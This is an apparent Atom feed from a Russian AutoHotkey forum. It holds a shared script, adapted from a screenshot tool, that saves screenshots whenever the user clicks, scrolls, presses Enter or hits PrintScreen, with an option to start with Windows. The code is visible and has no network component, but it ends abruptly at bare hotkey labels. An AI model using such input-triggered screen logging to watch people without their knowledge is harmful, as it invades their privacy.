<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
	<title type="html"><![CDATA[Серый форум &mdash; AHK: сохранение активности клавиатуры в определенном окне]]></title>
	<link rel="self" href="http://forum.script-coding.com/extern.php?action=feed&amp;tid=5681&amp;type=atom" />
	<updated>2011-09-22T20:10:05Z</updated>
	<generator>PunBB</generator>
	<id>http://forum.script-coding.com/viewtopic.php?id=5681</id>
		<entry>
			<title type="html"><![CDATA[Re: AHK: сохранение активности клавиатуры в определенном окне]]></title>
			<link rel="alternate" href="http://forum.script-coding.com/viewtopic.php?pid=51754#p51754" />
			<content type="html"><![CDATA[<p>Сделан на основе <a href="http://forum.script-coding.com/viewtopic.php?pid=41921#p41921">ScreenCatcher</a>`а <strong>teadrinker</strong>`ова.</p><p>Снимки делает после неосторожных прикосновений до <em>ролика</em>, обеих <em>Enter</em>, клавиши <em>PrintScreen</em>, <em>Правой</em> — <em>Левой</em> кнопок мыша.<br />Можно задать возможность щёлкать не чаще какого-то периода: см. значение таймера.</p><p>Думаю, кстати, использовать его для наглядной фиксации некоторых своих действий, — нужен переключатель активности, — может, кто знает, как воплотить?</p><br /><div class="codebox"><pre><code>   #NoEnv
   #UseHook
   OnExit, Exit
   SetWinDelay, 0
   SetBatchLines, -1
   SetTitleMatchMode, 3
   CoordMode, Mouse


   icoPath = %A_ScriptDir%\ScreenCatcher.ico
   if (FileExist(icoPath) &amp;&amp; !A_IsCompiled)
      Menu, Tray, Icon, % icoPath

   If !pToken := GdipStart()
   {
      MsgBox, 48, Ошибка GDI+!
         , Убедитесь в наличии gdiplus.dll в вашей системе!
      ExitApp
   }

   Ini_ReadSect(&quot;Settings&quot;, &quot;Output&quot;, Output, &quot;File&quot;
                          , &quot;Out Directory&quot;, OutDirectory, A_ScriptDir &quot;\&quot; &quot;slogs&quot;
                          , &quot;Extension&quot;, ext, &quot;jpg&quot;
                          , &quot;Capture Cursor&quot;, CaptureCursor, 0
                          , &quot;High Speed&quot;, HighSpeed, 0
                          , &quot;Quality JPEG&quot;, Quality, 45)

   Menu, Tray, NoStandard

   Menu, OutDirectory, Add, % OutDirectory, OutDirectory
   Menu, OutDirectory, Add, Change OutDirectory, OutDirectory

   Menu, Quality, Add, Quality = %Quality%`%, QualityOK
   Menu, Quality, Add, Change Quality, SetQuality

   Menu, Extensions, Add, JPG, :Quality
   Menu, Extensions, Add, BMP, Extensions
   Menu, Extensions, Add, TIF, Extensions
   Menu, Extensions, Add, GIF, Extensions
   Menu, Extensions, Add, PNG, Extensions
   if Output = File
      Menu, Extensions, Check, %ext%

   Menu, Output, Add, Clipboard, OutClip
   Menu, Output, Add, File, :Extensions
   Menu, Output, Check, % Output

   Menu, Tray, Add, Out Directory, :OutDirectory
   Menu, Tray, Add, Output, :Extensions
   Menu, Tray, Add
   Menu, Tray, Add, Capture Cursor, CaptureCursor
   if CaptureCursor
      Menu, Tray, Check, Capture Cursor

   Menu, Tray, Add, High Speed, HighSpeed
   if HighSpeed
      Menu, Tray, Check, High Speed

   Menu, Tray, Add, Run on Windows Startup, Startup
   FileGetShortcut, % A_Startup &quot;\&quot; RegExReplace(A_ScriptName, &quot;(.*)\..*&quot;, &quot;$1.lnk&quot;)
      , OutTarget,, OutArgs
   if (OutTarget = A_ScriptFullPath &amp;&amp; OutArgs = 1)
   {
      Menu, Tray, Check, Run on Windows Startup
      Startup = 1
   }
   Menu, Tray, Add
   Menu, Tray, Add, Help                                             F1, Help
   Menu, Tray, Add
   Menu, Tray, Add, Exit, ExitApp
   Return


QualityOK:
   Menu, Extensions, UnCheck, %ext%
   Menu, Extensions, Check, % (ext := &quot;jpg&quot;)
CheckOutput:
   Menu, Output, UnCheck, Clipboard
   Menu, Output, Check, File
   Output = File
   Return

SetQuality:
   Old_Quality := Quality
   Menu, Extensions, UnCheck, %ext%
   Menu, Extensions, Check, % (ext := &quot;jpg&quot;)
   Gosub, CheckOutput
   IfWinExist, ahk_id %ID4%
      Goto, 4GuiClose
   Gui, 4:+LastFound
   WinGet, ID4
   WinSet, Transparent, 0
   Gui, 4:Color, CCC8C0
   Gui, 4:Font, s9, Arial
   Gui, 4:Add, Text, x11 y17 w29 cBlue, Quality:
   Gui, 4:Add, Slider, vQSlider gQualitySet x58 y15 w182 h25 ToolTip AltSubmit, % Quality
   Gui, 4:Add, Button, gQOk x80 y50 w90 h23, OK
   XQ := X_M - 260 &lt; 0 ? 0 : X_M - 260, YQ := Y_M - 105 &lt; 0 ? 0 : Y_M - 105
   Gui, 4:Show, x%XQ% y%YQ% w250 h85, Quality of JPEG
   Melt(ID4, 255, 1)
   Return

QualitySet:
   Quality := QSlider
   Return

QOk:
   WinClose, ahk_id %ID4%
   Return

4GuiClose:
   if (Quality != Old_Quality)
      Menu, Quality, Rename, Quality = %Old_Quality%`%, Quality = %Quality%`%
   Melt(ID4, 255, 0)
   Gui, 4:Destroy
   Return

Extensions:
   Menu, Extensions, UnCheck, %ext%
   StringLower, ext, A_ThisMenuItem
   Menu, Extensions, Check, %ext%
   Gosub, CheckOutput
   Return

OutClip:
   Menu, Output, UnCheck, File
   Menu, Extensions, UnCheck, %ext%
   Menu, Output, Check, Clipboard
   Output = Clipboard
   Return

OutDirectory:
   if A_ThisMenuItem = Change OutDirectory
   {
      Old_OutDirectory := OutDirectory
      FileSelectFolder, OutDir, *%OutDirectory%, 3, Select Out Directory:
      OutDirectory := OutDir ? OutDir : OutDirectory
      if (OutDirectory != Old_OutDirectory)
         Menu, OutDirectory, Rename, %Old_OutDirectory%, %OutDirectory%
   }
   Else
      Run, % OutDirectory
   Return

CaptureCursor:
   CaptureCursor := !CaptureCursor
   Menu, Tray, % CaptureCursor ? &quot;Check&quot; : &quot;UnCheck&quot;, Capture Cursor
   Return

HighSpeed:
   HighSpeed := !HighSpeed
   Menu, Tray, % HighSpeed ? &quot;Check&quot; : &quot;UnCheck&quot;, High Speed
   Return

Startup:
   if Startup := !Startup
   {
      FileCreateShortcut, % A_ScriptFullPath
         , % A_Startup &quot;\&quot; RegExReplace(A_ScriptName, &quot;(.*)\..*&quot;, &quot;$1.lnk&quot;)
         , % A_ScriptDir, 1
      Menu, Tray, Check, Run on Windows Startup
   }
   Else
   {
      FileDelete, % A_Startup &quot;\&quot; RegExReplace(A_ScriptName, &quot;(.*)\..*&quot;, &quot;$1.lnk&quot;)
      Menu, Tray, UnCheck, Run on Windows Startup
   }
   Return


ColorSet:
   %A_GuiControl%_ := SubStr(&quot;00&quot; . Trans(%A_GuiControl%, 10, 16), -1)
   Gui, 1:Color, % Red_ Green_ Blue_

MarkerColor:
   Return

TransSet:

   Return

3GuiClose:
   Melt(ID3, 255, 0)
   Gui, 3:Destroy
   Return

Help:
   IfWinExist, ahk_id %ID5%
      Goto, 5GuiClose
   if ((X &lt; 540) &amp;&amp; (Y &lt; 590)) &amp;&amp; GuiVisible
   {
      DetectHiddenWindows On
      Melt(ID, Trans, 0)
      WinMove, ahk_id %ID%,, 540
      Melt(ID, Trans, 1)
   }
   Gui, 5:Default
   Gui, +LastFound +Resize
   WinGet, ID5
   Gui, Color, White
   Gui, Add, Text, x0 y0 w515 h550 -Background
   Gui, Add, Text, x4 y4 w507 h73 +0x6
   Gui, Font, s10 bold, Arial
   Gui, Add, Text, x9 y11 BackgroundTrans, Содержание:
   Gui, Font, s9 norm underline
   Gui, Add, Text, gPass x30 y32 cBlue BackgroundTrans, Работа с программой
   Gui, Add, Text, gPass xp yp+16 cBlue BackgroundTrans, Контекстное меню
   Gui, Add, Text, gPass x200 y32 cBlue BackgroundTrans, Меню иконки в трее
   Gui, Add, Text, gPass xp yp+16 cBlue BackgroundTrans, Горячие клавиши
   Gui, Font, s10 norm
   HelpText =
(Join
     Программа «ScreenСatcher» создана для получения скриншотов экрана или его областе
й и сохранения их в файлы с расширениями jpg, bmp, tif, gif, png.`r`n
`r`n                                        Работа с программой.`r`n`r`n     После запу
ска файла на экране появляется полупрозрачное окно, которое можно перемещать левой кнопко
й мыши и менять его размеры.`r`n`r`n     Чтобы получить скриншот области экрана, размести
те окно точно над ней и кликните дважды в пределах окна или нажмите F12. В зависимос
ти от установок, доступных через меню, изображение будет помещено либо в буфер обмена
, либо записано в файл, который появится в папке вывода (по умолчанию – в папке скрипта)
. Перед получением скриншота окно программы можно скрыть, если оно мешает, нажатием клав
иши Pause или средней кнопки мыши. В этом случае программа сработает при нажатии F12.
`r`n     Чтобы получить скриншот всего экрана, скройте окно программы и нажмите PrintScre
en.`r`n     Для получения скриншота активного окна нажмите Shift + PrintScreen
.`r`n`r`n     Управление программой осуществляется горячими клавишами, через контекстно
е меню главного окна (клик правой кнопкой мыши в пределах окна) и меню иконки программ
ы в трее (клик правой кнопкой мыши на иконке программы в трее)
.`r`n`r`n                                          Контекстное меню.`r`n`r`nColo
r – Transparent.`r`nУстановки цвета и прозрачности окна.`r`n`r`nResize Pointers.`r`nВыбо
р индикатора, отображаемого при изменении размеров окна: модифицированный курсор мыши, либ
о цветные маркеры.`r`n`r`nOut Directory.`r`nПри выборе этого пункта появляется подменю с н
азванием текущей папки, в которую будут помещаться файлы скриншотов. Для смены папки кликн
ите это подменю.`r`n`r`nOutput.`r`nПри выборе подменю Clipboard скриншот будет записыватьс
я в буфер обмена. File — выбор расширения файлов, в которые будут записываться скриншоты
. При выборе JPG открывается подменю с двумя пунктами. 1-ый – текущее значение качества (с
тепени сжатия) JPEG, кликните его, если оно Вас устраивает. 2-ой – Change Quality – смен
а качества JPEG.`r`n`r`nCapture Cursor.`r`nПри установке галочки в этот пункт меню в скрин
шот будет включен курсор.`r`n`r`nHigh Speed.`r`nЕсли преполагается делать скриншоты чаще
, чем раз в секунду, поставьте галочку в этот пункт меню. При выборе High Speed перед пол
учением скришота лучше скрыть окно скрипта. В этом режиме к названию файла бу
дут добавляться милисекунды.`r`n`r`nRun on Windows Startup.`r`nПри выборе этого пункта созд
аётся ярлык программы в папке автозагрузки текущего пользователя, и при следующей загрузк
е программа запустится автоматически, окно её первоначально будет скрыто. При снятии галочк
и с этого пункта ярлык удаляется.
.`r`n`r`n                                          Меню иконки в трее.`r`n`r`nHide.`r`nСп
рятать окно программы.`n`nShow.`nПоказать окно программы.`r`n
`r`n                                            Горячие клавиши.`n`nMButton (средняя к
нопка мыши) — скрыть окно.`nCtrl + MButton — скрыть/показать окно.`nPause – скрыть/показат
ь окно.`nScrollLock – показать окно в центре экрана.`nF12 – скриншот области экрана, лежаще
й непосредственно под окном программы.`nPrintScreen — скриншот всего экрана.`nShift + Print
Screen – скриншот активного окна.`nEsc – закрытие окон установок и справки, если открыты, и
ли скрытие главного окна.`nЕсли открыто окно установок, щелчок ЛКМ по названию слайдер
а – установка в левую крайнюю позицию, ПКМ – в правую крайнюю.`nF1 – вызов справки.
)
   Gui, Add, Edit, x3 y81 w509 h466 ReadOnly hwndEditID, % HelpText
   GuiControl, Focus, Static1
   Gui, Show, x0 y0 w515 h550, ScreenСatcher Help
   Return

Pass:
   SendMessage, EM_LINEFROMCHAR := 201, InStr(HelpText, A_GuiControl) - 1,,, ahk_id %EditID%
   GotoLineUp(ErrorLevel + 1, EditID)
   SendInput, {Home}+{Right 3}
   Return

5GuiSize:
   GuiControl, Move, Static1, w%A_GuiWidth% h%A_GuiHeight%
   GuiControl, Move, Static2, % &quot;w&quot; A_GuiWidth - 8
   GuiControl, MoveDraw, Edit1, % &quot;w&quot; A_GuiWidth - 6 &quot;h&quot; A_GuiHeight - 84
   Return

5GuiClose:
   Gui, 5:Destroy
   Return

Exit:
   GdipShutdown(pToken)
   While (idx := a_index + 2) &lt; 6
      IfWinExist, % &quot;ahk_id&quot; ID%idx%
         Gosub, %idx%GuiClose
   if GuiVisible
   {
      Melt(ID, Trans, 0)
      Gui, Destroy
   }
   RestoreCursors()

   Ini_WriteSect(&quot;Settings&quot;, &quot;Output&quot;, Output
                           , &quot;Out Directory&quot;, OutDirectory
                           , &quot;Extension&quot;, ext
                           , &quot;Capture Cursor&quot;, CaptureCursor
                           , &quot;High Speed&quot;, HighSpeed
                           , &quot;Quality JPEG&quot;, Quality)
ExitApp:
   ExitApp

Melt(hWnd, Trans, Appear, N = 20)
{
   WinShow, ahk_id %hWnd%
   While A_Index * N &lt; Trans
   {
      WinSet, Transparent, % Appear ? A_Index * N : Trans - A_Index * N, ahk_id %hWnd%
      Sleep, 10
   }
   if Appear
      WinSet, Transparent, % Trans, ahk_id %hWnd%
   Else
      WinHide, ahk_id %hWnd%
}

SetValue1(Pos)
{
   local Control, Text
   MouseGetPos,,,, Control
   if !InStr(Control, &quot;Static&quot;)
      Return
   GuiControl, 3:, % &quot;msctls_trackbar32&quot; SubStr(Control, 7), % Pos
   Gui, 3:Submit, NoHide
   GuiControlGet, Text, 3:, % Control
   %Text%_ := SubStr(&quot;00&quot; . Trans(%Text%, 10, 16), -1)
   Gui, 1:Color, % Red_ Green_ Blue_

   Gosub, MarkerColor
   Gosub, TransSet
}

SetValue2(Pos)
{
   local Control
   MouseGetPos,,,, Control
   if !InStr(Control, &quot;Static&quot;)
      Return
   GuiControl, 4:, msctls_trackbar321, % Pos
   Gui, 4:Submit, NoHide
   Quality := QSlider
}

InvertColor(Red, Green, Blue)
{
   _Red := SubStr(&quot;00&quot; . Trans(Trans(Red, 16, 10) ^ 255, 10, 16), -1)
   _Green := SubStr(&quot;00&quot; . Trans(Trans(Green, 16, 10) ^ 255, 10, 16), -1)
   _Blue := SubStr(&quot;00&quot; . Trans(Trans(Blue, 16, 10) ^ 255, 10, 16), -1)
   Return &quot;0x&quot; _Red _Green _Blue
}

Ini_WriteSect(Section, Key1, Value1, Key2 = &quot;&quot;, Value2 = &quot;&quot;
   , Key3 = &quot;&quot;, Value3 = &quot;&quot;, Key4 = &quot;&quot;, Value4 = &quot;&quot;, Key5 = &quot;&quot;, Value5 = &quot;&quot;
   , Key6 = &quot;&quot;, Value6 = &quot;&quot;, Key7 = &quot;&quot;, Value7 = &quot;&quot;, Key8 = &quot;&quot;, Value8 = &quot;&quot;
   , Key9 = &quot;&quot;, Value9 = &quot;&quot;, Key10 = &quot;&quot;, Value10 = &quot;&quot;)
{
; Пишет секцию ini-файла в директории скрипта, за раз не более 10-ти ключей

   FileName := A_ScriptDir &quot;\&quot; RegExReplace(A_ScriptName, &quot;(.*)\..*&quot;, &quot;$1.ini&quot;)
   While Key%a_index%
      IniWrite, % Value%a_index%, % FileName, % Section, % Key%a_index%
}

Ini_ReadSect(Section, Key1, ByRef var1, Default1 = &quot;&quot;, Key2 = &quot;&quot;, ByRef var2 = &quot;&quot;, Default2 = &quot;&quot;
   , Key3 = &quot;&quot;, ByRef var3 = &quot;&quot;, Default3 = &quot;&quot;, Key4 = &quot;&quot;, ByRef var4 = &quot;&quot;, Default4 = &quot;&quot;
   , Key5 = &quot;&quot;, ByRef var5 = &quot;&quot;, Default5 = &quot;&quot;, Key6 = &quot;&quot;, ByRef var6 = &quot;&quot;, Default6 = &quot;&quot;
   , Key7 = &quot;&quot;, ByRef var7 = &quot;&quot;, Default7 = &quot;&quot;, Key8 = &quot;&quot;, ByRef var8 = &quot;&quot;, Default8 = &quot;&quot;
   , Key9 = &quot;&quot;, ByRef var9 = &quot;&quot;, Default9 = &quot;&quot;, Key10 = &quot;&quot;, ByRef var10 = &quot;&quot;, Default10 = &quot;&quot;)
{
; Читает секцию ini-файла в директории скрипта, за раз не более 10-ти ключей

   FileName := A_ScriptDir &quot;\&quot; RegExReplace(A_ScriptName, &quot;(.*)\..*&quot;, &quot;$1.ini&quot;)
   While Key%a_index%
      IniRead, var%a_index%, % FileName, % Section, % Key%a_index%, % Default%a_index%
}

Trans(Number, N, K)
{
; Переводит число Number из системы счисления N в систему счисления K. Number должно
; быть написано без префикса, и, если содержит буквенные символы, в кавычках.
; Возвращает значение без префикса.

   if N = 10
      Return Trans_Dec(Number, K)
   if K = 10
      Return Trans_ToDec(Number, N)
   Else
      Return Trans_Dec(Trans_ToDec(Number, N), K)
}

Trans_Dec(Number, K)
{
   if K = 16
   {
      SetFormat, integer, hex
      TransNumber := SubStr(Number + 0, 3)
      SetFormat, integer, dec
      Return TransNumber
   }
   if (Number &lt; K)
      Return Number &lt; 10 ? Number : Chr(Asc(&quot;A&quot;) + Number - 10)
   Mod := Mod(Number,K) &lt; 10 ? Mod(Number,K) : Chr(Asc(&quot;A&quot;) + Mod(Number,K) - 10)
   Return Trans_Dec(Floor(Number/K),K) . Mod
}

Trans_ToDec(Number, N)
{
   if N = 16
   {
      SetFormat, integer, d
      Number := &quot;0x&quot; . Number
      Return Number + 0
   }
   StringCaseSense on
   if StrLen(Number) = 1
   {
      if Number between a and z
         Number := Asc(Number) - Asc(&quot;a&quot;) + 10
      if Number between A and Z
         Number := Asc(Number) - Asc(&quot;A&quot;) + 10
      Return Number
   }
   SubString := SubStr(Number,1,1)
   if SubString between a and z
      SubString := Asc(SubString) - Asc(&quot;a&quot;) + 10
   if SubString between A and Z
      SubString := Asc(SubString) - Asc(&quot;A&quot;) + 10
   Return SubString*N**(StrLen(Number)-1) + Trans_ToDec(SubStr(Number,2),N)
}

GotoLineUp(N, Hwnd_Edit)
{
; Осуществляет переход к строке с номером N в контроле Edit, строка, если
; возможно, становится первой видимой

   EM_LINEINDEX := 0xBB, EM_SETSEL := 0xB1, EM_SCROLLCARET := 0xB7
   EM_GETFIRSTVISIBLELINE := 0xCE, EM_LINESCROLL := 0xB6
   SendMessage, EM_LINEINDEX, N - 1,,, ahk_id %Hwnd_Edit%
   SendMessage, EM_SETSEL, Errorlevel, Errorlevel,, ahk_id %Hwnd_Edit%
   SendMessage, EM_SCROLLCARET,,,, ahk_id %Hwnd_Edit%
   SendMessage, EM_GETFIRSTVISIBLELINE,,,, ahk_id %Hwnd_Edit%
   SendMessage, EM_LINESCROLL,, N - 1 - Errorlevel,, ahk_id %Hwnd_Edit%
   ControlFocus,, ahk_id %Hwnd_Edit%
   SendInput, {End}
}

SetCursor(pShape, pCtrl=&quot;&quot;)
{
   return SetCursor_(pShape, pCtrl, 0)
}

SetCursor_(wparam, lparam, msg)
{
   global ID, ID3, ID5
   static WM_SETCURSOR = 0x20, WM_MOUSEMOVE = 0x200
   static IDC_HAND = 32649, IDC_ARROW = 32512
   static hover, cursor, ctrls = &quot;`n&quot;, init

   if !init
      init := 1, OnMessage(WM_SETCURSOR, &quot;SetCursor_&quot;), OnMessage(WM_MOUSEMOVE, &quot;SetCursor_&quot;)

   if A_Gui =
   {
      cursor := DllCall(&quot;LoadCursor&quot;, UInt, 0, Int, %WPARAM%, UInt)
      ctrls .= lparam &quot;=&quot; cursor &quot;`n&quot;
   }

   If (msg = WM_SETCURSOR)
      ifEqual, hover, 1, return 1

   if (msg = WM_MOUSEMOVE)
   {
      MouseGetPos,,, ID_Win, Control
      if (ID_Win = ID)
         Return

      If j := InStr(ctrls, &quot;`n&quot; Control &quot;=&quot;)
      {
         if (ID_Win = ID5) &amp;&amp; (SubStr(Control, 7) &lt; 4)
         {
            DllCall(&quot;SetCursor&quot;, UInt, IDC_ARROW), hover := &quot;&quot;
            Return
         }
         hover := true
         j += 2 + StrLen(Control)
         j := SubStr(ctrls, j, InStr(ctrls, &quot;`n&quot;, 0, j) - j + 1)
         DllCall(&quot;SetCursor&quot;, UInt, j)
      }
      else DllCall(&quot;SetCursor&quot;, UInt, IDC_ARROW), hover := &quot;&quot;
   }
}

SetSystemCursor(IDC)
{
   IDC_SIZENWSE = 32642
   IDC_SIZENESW = 32643
   IDC_SIZEWE = 32644
   IDC_SIZENS = 32645
   IDC_ARROW = 32512
   CursorHandle := DllCall( &quot;LoadCursor&quot;, Uint, 0, Int, %IDC%, Uint)
   DllCall(&quot;SetSystemCursor&quot;, Uint, CursorHandle, Int, IDC_ARROW)
}

RestoreCursors()
{
   SPI_SETCURSORS = 0x57
   DllCall(&quot;SystemParametersInfo&quot;, UInt, SPI_SETCURSORS, UInt, 0, UInt, 0, UInt, 0 )
}

SetColorToControl(hwnd, Color)
{
   WinGetPos,,, w, h, ahk_id %hwnd%
   sColor := 0xFF000000|Color
   DllCall(&quot;gdiplus\GdipCreateSolidFill&quot;, Int, sColor, &quot;uint*&quot;, pBrush)
   DllCall(&quot;gdiplus\GdipCreateBitmapFromScan0&quot;, Int, w
      , Int, h, Int, 0, Int, 0x26200A, UInt, 0, &quot;uint*&quot;, pBitmap)
   DllCall(&quot;gdiplus\GdipGetImageGraphicsContext&quot;, UInt, pBitmap, &quot;uint*&quot;, G)
   DllCall(&quot;gdiplus\GdipFillRectangle&quot;
      , UInt, G, Int, pBrush, &quot;float&quot;, 0, &quot;float&quot;, 0, &quot;float&quot;, w, &quot;float&quot;, h)
   DllCall(&quot;gdiplus\GdipCreateHBITMAPFromBitmap&quot;
      , UInt, pBitmap, &quot;uint*&quot;, hBitmap, Int, 0xffffffff)
   SendMessage, STM_SETIMAGE := 0x172, 0x0, hBitmap,, ahk_id %hwnd%
   DllCall(&quot;DeleteObject&quot;, UInt, ErrorLevel)
   DllCall(&quot;gdiplus\GdipDeleteBrush&quot;, UInt, pBrush)
   DllCall(&quot;gdiplus\GdipDeleteGraphics&quot;, UInt, G)
   DllCall(&quot;gdiplus\GdipDisposeImage&quot;, UInt, pBitmap)
   DllCall(&quot;DeleteObject&quot;, UInt, hBitmap)
}

CaptureScreen(aRect, sFile, nQuality, Cursor)
{
   pBitmap := BitmapFromScreen(aRect, Cursor, 0x40000000 | 0x00CC0020)
   If   sFile = 0
      SetBitmapToClipboard(pBitmap)
   Else
      SaveBitmapToFile(pBitmap, sFile, nQuality)
   DllCall(&quot;gdiplus\GdipDisposeImage&quot;, UInt, pBitmap)
}

BitmapFromScreen(Screen, Cursor, Raster=&quot;&quot;)
{
   if (Screen = 0)
   {
      Sysget, x, 76
      Sysget, y, 77
      Sysget, w, 78
      Sysget, h, 79
   }
   else
   {
      StringSplit, S, Screen, |
      x := S1, y := S2, w := S3, h := S4
   }
   chdc := DllCall(&quot;CreateCompatibleDC&quot;, UInt, 0)
   VarSetCapacity(bi, 40, 0)
   NumPut(w, bi, 4), NumPut(h, bi, 8), NumPut(40, bi, 0), NumPut(1, bi, 12, &quot;ushort&quot;)
   NumPut(0, bi, 16), NumPut(32, bi, 14, &quot;ushort&quot;)
   hbm := DllCall(&quot;CreateDIBSection&quot;
      , UInt , chdc, UInt , &amp;bi, UInt , 0, &quot;uint*&quot;, 0, UInt , 0, UInt , 0)
   obm := DllCall(&quot;SelectObject&quot;, UInt, chdc, UInt, hbm)
   hhdc := DllCall(&quot;GetDC&quot;, UInt, 0)
   DllCall(&quot;gdi32\BitBlt&quot;, UInt, chdc, Int, 0, Int, 0, Int, w, Int, h
      , UInt, hhdc, Int, x, Int, y, UInt, Raster)
   DllCall(&quot;ReleaseDC&quot;, UInt, 0, UInt, hhdc)
   if Cursor
      CaptureCursor(chdc, x, y)
   DllCall(&quot;gdiplus\GdipCreateBitmapFromHBITMAP&quot;, UInt, hbm, UInt, 0, &quot;uint*&quot;, pBitmap)
   DllCall(&quot;SelectObject&quot;, UInt, chdc, UInt, obm)
   DllCall(&quot;DeleteObject&quot;, UInt, hbm)
   DllCall(&quot;DeleteDC&quot;, UInt, hhdc)
   DllCall(&quot;DeleteDC&quot;, UInt, chdc)
   return pBitmap
}

CaptureCursor(hDC, nL, nT)
{
   VarSetCapacity(mi, 20, 0), mi := Chr(20)
   DllCall(&quot;GetCursorInfo&quot;, UInt, &amp;mi)
   bShow   := NumGet(mi, 4)
   hCursor := NumGet(mi, 8)
   xCursor := NumGet(mi,12)
   yCursor := NumGet(mi,16)

   If   bShow &amp;&amp; hCursor:=DllCall(&quot;CopyIcon&quot;, UInt, hCursor)
   {
   VarSetCapacity(ni, 20, 0)
   DllCall(&quot;GetIconInfo&quot;, UInt, hCursor, UInt, &amp;ni)
   bIcon    := NumGet(ni, 0)
   xHotspot := NumGet(ni, 4)
   yHotspot := NumGet(ni, 8)
   hBMMask  := NumGet(ni,12)
   hBMColor := NumGet(ni,16)

   DllCall(&quot;DrawIcon&quot;, UInt, hDC, Int, xCursor - xHotspot - nL
      , Int, yCursor - yHotspot - nT, UInt, hCursor)
   DllCall(&quot;DestroyIcon&quot;, UInt, hCursor)
   If   hBMMask
      DllCall(&quot;DeleteObject&quot;, UInt, hBMMask)
   If   hBMColor
      DllCall(&quot;DeleteObject&quot;, UInt, hBMColor)
   }
}

SetBitmapToClipboard(pBitmap)
{
   DllCall(&quot;gdiplus\GdipCreateHBITMAPFromBitmap&quot;
      , UInt, pBitmap, &quot;uint*&quot;, hBitmap, Int, 0xffffffff)
   DllCall(&quot;GetObject&quot;, UInt, hBitmap, Int, VarSetCapacity(oi, 84, 0), UInt, &amp;oi)
   hdib := DllCall(&quot;GlobalAlloc&quot;, UInt, 2, UInt, 40+NumGet(oi, 44))
   pdib := DllCall(&quot;GlobalLock&quot;, UInt, hdib)
   DllCall(&quot;RtlMoveMemory&quot;, UInt, pdib, UInt, &amp;oi+24, UInt, 40)
   DllCall(&quot;RtlMoveMemory&quot;, UInt, pdib+40, UInt, NumGet(oi, 20), UInt, NumGet(oi, 44))
   DllCall(&quot;GlobalUnlock&quot;, UInt, hdib)
   DllCall(&quot;OpenClipboard&quot;, UInt, 0)
   DllCall(&quot;EmptyClipboard&quot;)
   DllCall(&quot;SetClipboardData&quot;, UInt, 8, UInt, hdib)
   DllCall(&quot;CloseClipboard&quot;)
}

SaveBitmapToFile(pBitmap, sOutput, Quality=75)
{
   SplitPath, sOutput,,, Extension
   if Extension not in BMP,DIB,RLE,JPG,JPEG,JPE,JFIF,GIF,TIF,TIFF,PNG
      return -1
   Extension := &quot;.&quot; Extension

   DllCall(&quot;gdiplus\GdipGetImageEncodersSize&quot;, &quot;uint*&quot;, nCount, &quot;uint*&quot;, nSize)
   VarSetCapacity(ci, nSize)
   DllCall(&quot;gdiplus\GdipGetImageEncoders&quot;, UInt, nCount, UInt, nSize, UInt, &amp;ci)
   if !(nCount &amp;&amp; nSize)
      return -2

   Loop, %nCount%
   {
      Location := NumGet(ci, 76*(A_Index-1)+44)
      if !A_IsUnicode
      {
         nSize := DllCall(&quot;WideCharToMultiByte&quot;, UInt, 0, UInt, 0
            , UInt, Location, Int, -1, UInt, 0, Int,  0, UInt, 0, UInt, 0)
         VarSetCapacity(sString, nSize)
         DllCall(&quot;WideCharToMultiByte&quot;, UInt, 0, UInt, 0, UInt, Location
            , Int, -1, Str, sString, Int, nSize, UInt, 0, UInt, 0)
         if !InStr(sString, &quot;*&quot; Extension)
            continue
      }
      else
      {
         nSize := DllCall(&quot;WideCharToMultiByte&quot;, UInt, 0, UInt, 0
            , UInt, Location, Int, -1, UInt, 0, Int,  0, UInt, 0, UInt, 0)
         sString := &quot;&quot;
         Loop, %nSize%
            sString .= Chr(NumGet(Location+0, 2*(A_Index-1), &quot;char&quot;))
         if !InStr(sString, &quot;*&quot; Extension)
            continue
      }
      pCodec := &amp;ci+76*(A_Index-1)
      break
   }
   if !pCodec
      return -3

   if (Quality != 75)
   {
      Quality := (Quality &lt; 0) ? 0 : (Quality &gt; 100) ? 100 : Quality
      if Extension in .JPG,.JPEG,.JPE,.JFIF
      {
         DllCall(&quot;gdiplus\GdipGetEncoderParameterListSize&quot;
            , UInt, pBitmap, UInt, pCodec, &quot;uint*&quot;, nSize)
         VarSetCapacity(EncoderParameters, nSize, 0)
         DllCall(&quot;gdiplus\GdipGetEncoderParameterList&quot;, UInt, pBitmap
            , UInt, pCodec, UInt, nSize, UInt, &amp;EncoderParameters)
         Loop, % NumGet(EncoderParameters)      ;%
         {
            if (NumGet(EncoderParameters, (28*(A_Index-1))+20) = 1)
               &amp;&amp; (NumGet(EncoderParameters, (28*(A_Index-1))+24) = 6)
            {
               p := (28*(A_Index-1))+&amp;EncoderParameters
               NumPut(Quality, NumGet(NumPut(4, NumPut(1, p+0)+20)))
               break
            }
         }
      }
   }

   if !A_IsUnicode
   {
      nSize := DllCall(&quot;MultiByteToWideChar&quot;
         , UInt, 0, UInt, 0, UInt, &amp;sOutput, Int, -1, UInt, 0, Int, 0)
      VarSetCapacity(wOutput, nSize*2)
      DllCall(&quot;MultiByteToWideChar&quot;
         , UInt, 0, UInt, 0, UInt, &amp;sOutput, Int, -1, UInt, &amp;wOutput, Int, nSize)
      VarSetCapacity(wOutput, -1)
      if !VarSetCapacity(wOutput)
         return -4
      E := DllCall(&quot;gdiplus\GdipSaveImageToFile&quot;
         , UInt, pBitmap, UInt, &amp;wOutput, UInt, pCodec, UInt, p ? p : 0)
   }
   else
      E := DllCall(&quot;gdiplus\GdipSaveImageToFile&quot;
         , UInt, pBitmap, UInt, &amp;sOutput, UInt, pCodec, UInt, p ? p : 0)
   return E ? -5 : 0
}

GdipStart()
{
   if !DllCall(&quot;GetModuleHandle&quot;, Str, &quot;gdiplus&quot;)
      DllCall(&quot;LoadLibrary&quot;, Str, &quot;gdiplus&quot;)
   VarSetCapacity(si, 16, 0), si := Chr(1)
   DllCall(&quot;gdiplus\GdiplusStartup&quot;, &quot;uint*&quot;, pToken, UInt, &amp;si, UInt, 0)
   return pToken
}

GdipShutdown(pToken)
{
   DllCall(&quot;gdiplus\GdiplusShutdown&quot;, UInt, pToken)
   if hModule := DllCall(&quot;GetModuleHandle&quot;, Str, &quot;gdiplus&quot;)
      DllCall(&quot;FreeLibrary&quot;, UInt, hModule)
   return 0
}



#IfWinNotExist, slogs_ ahk_class CabinetWClass
~sc1c up::    ;Enter
~sc11c up::   ;Num Enter
~WheelUp::
~WheelDown::
~RButton up::
~LButton up::
PrintScreen::      ; Скриншот всего экрана
